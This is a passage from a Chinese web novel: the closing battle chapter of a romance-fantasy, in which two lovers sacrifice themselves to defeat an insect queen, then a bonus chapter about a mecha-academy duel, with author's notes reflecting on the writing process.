虫母柳眉紧蹙,不可置信地望向颂千纱:“天道改写你的死局,你何苦与我同归于尽?” 颂千纱望着她,脸色白得透明,她神色淡淡地俯视虫母,“我不会与你同归于尽。” “胤允。”颂千纱再次出声。 “嗯。” 胤允再次化龙,朝着虫母咬去,虫母无力抵抗,顷刻死亡。 颂千纱望着面前已经复苏的魔气,长叹了一口气,她望着辽阔的海域,破碎的楼房,勾唇笑了笑。 颂千纱摇晃地想要站起来,胤允的手已经揽住了她的腰。胤允将颂千纱打横抱了起来,她转头望向他,海风将发丝吹到他的脸上。 胤允低头看她,喉结滚了滚,没说话。 半晌,他如往日般冲她扬眉勾唇,像是在谈论一会儿的晚餐:“小花,我和你一起。” 颂千纱怔了几秒,后搂住胤允,泪水逐渐决堤,一滴一滴地沾湿他的衣领。 他们对视着,执着地要留住彼此的此刻的模样。 “好,我们一起。” 颂千纱望着胤允勾唇一笑,眼中的狡黠与平常如出一辙:“张嘴。” 胤允看向颂千纱,二人对视,目光沉沉。 他们的视线在空中停了一瞬,半晌,他轻笑一声,慢慢低下头,张开嘴。 下一秒。颂千纱的唇贴了上去。 略微暗淡的莲心与龙珠在此刻回到各自的体内。 他们的手同时抬起,结印的动作整齐划一,像是万年间他们偷学人类法术一样。 结印完成,引自身万年吸收的修为与骨血注入大地。 他们望着彼此,很久。 久到好像有一万年走来那么长,又好像走丢后重逢那么短。 半晌,他们又勾起如往常般的笑容,像是今天与平时没有什么不同。 时循蹙着眉凝望着尸首异处的虫母,又看向神色决绝的颂千纱和胤允,想要上前,却又被面前的红色阵法拦住。 周围忽然安静了一瞬。 风停了。 就连血腥味都停滞在了空中不得动弹。 颂千纱听见自己的心跳声,她勾唇靠在胤允的肩上。 下一刻,他们二人体内爆出一阵巨大的光芒,荡开整个宇宙。 时循只来得及闭眼。 一阵清新的风吹过所有人。 再次睁眼时,红色的阵法结界已经消失,战场空了,没有一只虫族的尸体,没有怪异的从地上冒出的黑光,也不见那二人。 她与齐焦,周之旭第一时间跑去战场查看。 他们留下的,是一阵清风。 “他们……人呢?”慢他们一步的蓝一序望着三人的背影,声音干涩。 所有人四处张望着,没有人回答。 不远处海的边缘被红色染红,满地鲜血,都是人族血肉染红的残骸。 夕阳是淡淡的粉红色,与地面的血腥味相接,蔓延在整个宇宙中。 风还在。 吹过这片空无一人的战场。 可是再也没有人站在风里了。 作者有话说:接下来是,如果颂千纱出现的那一天,是从天而降在擂台上的短篇~和古代日常,应该会在五章以内发完(也许),尽量日更,在写新大纲惹!嘿嘿《 》 【全文完】 第75章 三月末的首都星,分明艳阳高照,却冷的人发抖。 颂千纱一觉睡到下午四点,慢悠悠地洗了个澡,头发擦到半干后,戴起口罩,径直往机甲单兵系走。 今天是校内擂台开赛的日子。 举办擂台赛是学校别有用意,听说是因为庆祝新任校长收养的学生——颂戈。 此人在克斯尔星一人大败虫族,救下数万百姓。 军方破格,让他身为学生就升为少将。 这是军方从未有过的晋升之路,整个学校都为此欢庆,挂上了许多红绸和横幅欢迎,所以这个擂台是车轮战,一对一,奖品为3S+机甲。 守擂的就一人,颂戈。 理论上来说,只要前面的人不断耗尽他的体力,最后总有一个幸运儿能捡漏。 所以,作为机甲师的颂千纱来捡漏了。 不是为了奖励,是因为她的老师正好是新任校长的孙子,林清澜。 她,是林清澜唯一的学生。 祖孙关系不睦,林清澜非要她争一口气,赢过他爷爷收养的“小叔叔”。 没办法,颂千纱刚穿来就被林清澜捡了,他力排众议保颂千纱非招生季入学,还争了贫困补助。 这是明晃晃的开后门,她得知恩图报。 她缩了缩脖子,把冻僵的手塞进校服口袋里,没精打采地叹了口气。 非常后悔自己没吹干头发再来。 “颂戈——无敌的战神!!” “啊!!颂戈!我的新郎!!” “一招制敌!我的天!好装啊!好想学啊啊啊!” 擂台用的是平时机甲单兵演练的最大场地,等待挑战的人很多,拥挤的围了场下一圈,观众更多,座无虚席。 学校维护着秩序,所以尽管场内爆满,但还算有序。 颂千纱刚走入擂台就被震得耳朵发麻,她打了个哈欠,半阖着眼走入观众席,眼尖看见有人刚刚站起来捂着□□往厕所跑,她立刻坐下。 这是她来这一个月学会的技能,谦让使人饿死,机会转瞬即逝。 半晌,她古怪地瞥了眼身边如小山般的壮汉。 这人满脸通红地为颂戈呐喊着,一刻不停的尖叫。 “……”太吵了这男的。 颂千纱微微摇了摇头,用手指堵住左边的耳朵朝擂台望去。 她愣了一瞬,后猛地站了起来,揉了揉眼睛。 这陌生又熟悉的背影让她迫不及待往前走了半步。 “小姐姐,这里不能站起来。”那小山似的男生拍了拍她的肩。 面前的女生没有任何反应,依旧死死盯着颂戈。 “小姐姐,你站起来会影响后排观众的。”男生往身后望了一眼,果然看到不少人怒目而视。 当然,还有人不少人盯着她的座位。 “懂不懂文明观影!有没有素质啊?” “就你站着看别人还看不看啊!不要这么自私行不行!” “……” 男生见她还不动,抓耳挠腮地做了几秒钟思想斗争。 他猫着腰微微起身,冒昧地拉住她的手臂往后扯。 “对不住对不住,我怕后面一会儿拿瓶子扔你!”男生拉着颂千纱坐回座位。 他拉住女生时,女生的手正在微微发抖,情绪激动,他以为她是被颂戈再次一招制敌的帅气动作帅到了。 他挤了挤眼睛,努力地抑制着自己觅到知音的激动,把横幅的一头塞进她手里,热情洋溢地对着她大喊:“你是不是也觉得他的打法超帅!我们一起举横幅为偶像呐喊吧!” 颂千纱被他中气十足的声音震得一抖,终于回神,望了眼身边放大的脸,又低头瞥见手里写着【颂戈独孤求败】。 颂千纱深吸了一口气,望着擂台上的眼神像是要杀人。 “不用,我现在上去挑战他。”颂千纱咬着牙,一个字一个字地往外蹦。 她转头面无表情地道谢,后直接径直往场下选手席走去。 男生再次挠了挠头,望着颂千纱的背影。 他怎么感觉她说话有点咬牙切齿的? 很快,颂千纱站在选手区最边缘的位置,在这里挤得连下脚的地方都没有。 她望着面前乌泱泱的一片,纠结半晌,把口罩解下,再次叹了口气。 口罩塞口袋里放好后,她拍了拍前面的人。 颂千纱笑靥如花地望着回头的人,声音清脆又无辜:“你好同学,我想要提前挑战,能不能让我先呀!” 颂千纱的声音不小,很快前面的许多人都不耐烦地回头,而后愣住。 被拍的男生还没说话脸就红了,瞪大眼睛呆愣了好一阵,眼神先是惊艳,后是错愕,磕磕巴巴地望着她:“校——校花?!” 嘈杂的选手区骤然静了一瞬,片刻后又轰然炸开。 “你不是机甲师吗?也要挑战颂戈?!”不知是谁说的,音调是掩饰不住的高昂和激动。 颂千纱把鬓角的长发撩至耳后,面上依旧是无懈可击的温和笑容,对着众人眨了眨眼:“想见识一下战神的风姿呢,不知众人可否为我让出一条路?” 她很懂得利用自己的相貌优势,上扬着眉眼,带着一丝清甜的笑容,很容易就俘获这群初出茅庐少男的芳心。 “好,好的。” “我的天——校花比照片里更好看!” “离我好近,她一笑我就恋爱了!” “……” 周围很快就专门为颂千纱挤出一条道,颂千纱嘴角微勾,点头与周围的男生不断道谢,笑得更加可人,充耳不闻周围咽口水的声音与议论。 颂千纱走到最前方,一个不高的身影正准备上去。 她眉宇间闪过一丝烦躁,上前拉住前方人的手臂。 见对方回头,她立刻蹙着眉眼露出一副可怜的模样,眯着眼双手合十道:“拜托了同学!能不能让我先!我一会儿还有考试!就是慕名而来看一眼的!很急!” “……颂千纱,林清澜那套做派和撒谎的功力==本事,你倒是学了十成十。”面前人声音清冽沉稳,语气却带着一丝嫌弃。 颂千纱的面色一僵,望向面前人。 面前的女生个子不高,举手投足透着矜贵,垂眸望着她,将她压在眼底的不耐烦看了个干净。 “……师母好,能让我先吗?” 颂千纱将合十的双手放在胸前晃了晃,嘴角的讨好倒是真诚了几分。 时循挑了挑眉,抱着臂问:“为什么?你不是捡漏吗?” 颂千纱将合十的双手重新插进口袋,往擂台上望了一眼,笑容淡了几分:“他是我要找的人。” 时循眉头微蹙,转头瞥向擂台上正喝水的身影,眼神凝了片刻。 她的语气依旧很淡,像是揶揄,又像是惊疑:“你确定?” “嗯,就是他。”颂千纱抬脚走上台阶,一边从口中摸出口罩,重新戴上。 时循侧身为她让路,站在楼梯一侧,嘴角勾出一丝意味不明地笑。 冻僵的手指依旧冰凉,她不自觉地蜷缩指节,一步步走近颂戈高大的机甲。 走到离机甲还有十米时,她停下了脚步,扭了扭有些酸涩的脖子,舒了口气,垂着眼道:“颂学长,我挑战肉搏。” 站在擂台上,有许多机器围绕着他们,声音自然也会传出去。 周围再次静了一瞬,再次炸开锅来。 颂戈的肉搏甚至比操纵机甲还要强劲,这是众所周知的。 当然,肉搏还很具观赏性。 颂戈走出机甲舱收起机甲,转头望向大屏幕道:“你确定?” “是。”颂千纱目光灼灼地盯着颂戈。 “可以,机甲师不选机甲战?”颂戈的语气散漫,一步一步地朝颂千纱走去,似是在回消息,还是没有抬头。 颂千纱盯着他,面前人的每一寸都与万年前无异,甚至是无意中歪头的小动作。 她忍不住咬了咬唇,努力保持着冷静。 “因为弄坏了机甲,要弄材料很贵。”她的声音带了些哑,语气却平淡。 颂戈漫不经心的表情一顿,原本眉宇间的烦躁和淡漠散了一瞬。 不知怎么的,他感觉这语气里藏着十二分的委屈,又多了些莫名的熟悉感。 而这种熟悉感,在望向颂千纱的眼睛后愈演愈烈。 他搓了下食指,喉结微微滚动,盯着颂千纱的眼睛看了半晌,又移开目光,按下准备。 这股怪异的熟悉感在她黑色的瞳孔前戛然而止,探索欲下降,烦躁直线上升。 “要武器吗?” 他的声音更加淡漠简洁。 “剑。” “好。” 片刻后,颂千纱接剑,也按下准备。 很快,比赛开始。 颂千纱与颂戈对视,同时朝对方冲去。 还有一步之遥,颂戈出剑朝颂千纱腹部刺去,颂千纱点地一跃,即刻腾空至颂戈头顶,一脚往他面门踢去。 颂戈错身反手握住她的脚踝,用力一甩,欲将她甩向墙角。 颂千纱另一只脚迅速踢向他的肩膀,借力一踹,二人都退了三步。 颂戈面色带着分外明显的怪异,他眼中烦躁与不耐更盛,咽了下口水,主动再次朝颂千纱攻去。 颂戈的剑法骤然变得凌厉不少,可每次颂千纱都能迅速躲闪,抓住机会再次攻去。 二人打了数十回合,都势均力敌。 知道颂千纱的口罩被剑峰不小心划破。 口罩瞬间掉落。 二人同时僵住。 颂戈盯着她的脸歪头,脸上的怪异更甚,手中剑下意识松了松。 颂千纱垂眸望着地上的口罩,眼圈泛红。 她抬眸恨恨地盯着颂戈,快步朝他走了两步。 “啪——”颂戈被扇的偏头。 热闹了一天的场子从未这么安静过,场上的人连动都不动了。 颂戈愣了许久,脸上火辣辣的疼痛不断提醒着他被打了脸。 他的眉眼在几秒钟后彻底被点燃,原本僵在原地的右手剑剑锋一转,气势凌厉。 “啪——”颂千纱不闪不避,打了他第二个巴掌。 她带着些哽咽,眼眶中却没有眼泪,只是通红:“为什么不来找我?” 全场死寂。 就连机器都悬停在半空中,整个场子只余机器的嗡嗡声。 颂戈脸上火辣辣的疼。 他缓缓把歪掉的脸转回来,盯着颂千纱翻红的眼眶,喉结滚动了一下,张了张口,一个字都说不出来。 作者有话说:尝试着重写一下感情戏,这周榜单字数达到以后会直接完结开始免费更。 写了一整本后,其实心态出现了很大改变。 从一开始害怕观众不喜欢到后面真的写歪了,感觉是一个坠落的过程。 因为太想讨好一切,最后反而没做好。 也许是因为一开始这本书的热度太高了,我一次过签,又没有准备。 其实所有人对我都非常友善,几乎都没有骂过我,还非常捧场,也许因为幸运,再加上是新人。 我因恐惧别人的评价而不能做自己,而写作需要的就是诚实。 五十章左右的时候,我遇到了很大的变故,和母亲大吵一架,后离家出走。 从未有过如此激烈的时候,我一度崩溃,还是想坚持到底,不出意料,写的真的很难看。 想过停更,想过烂尾,想过重写,但还是就这么硬着头皮写完了。 过程很挫败,但领悟更多。 过于复杂和丰富的剧情线,时循线的权谋,主线虫族,男女主的感情,颂千纱的个人成长,胤允的爱的变化。 脑中构思了太多,也许是可以糅杂在一起的,但绝不是在没有大纲的情况下。 最大的感受是要诚实。 诚实面对自己害怕冲突,从而不想写吵架和战争,诚实的面对自己太贪心了,什么都想要,最后不知道自己要什么,诚实地面对自己写的真的很烂,让很多人都走了。 希望下一本会更好,希望可以在这条路上一直坚持下去。《 》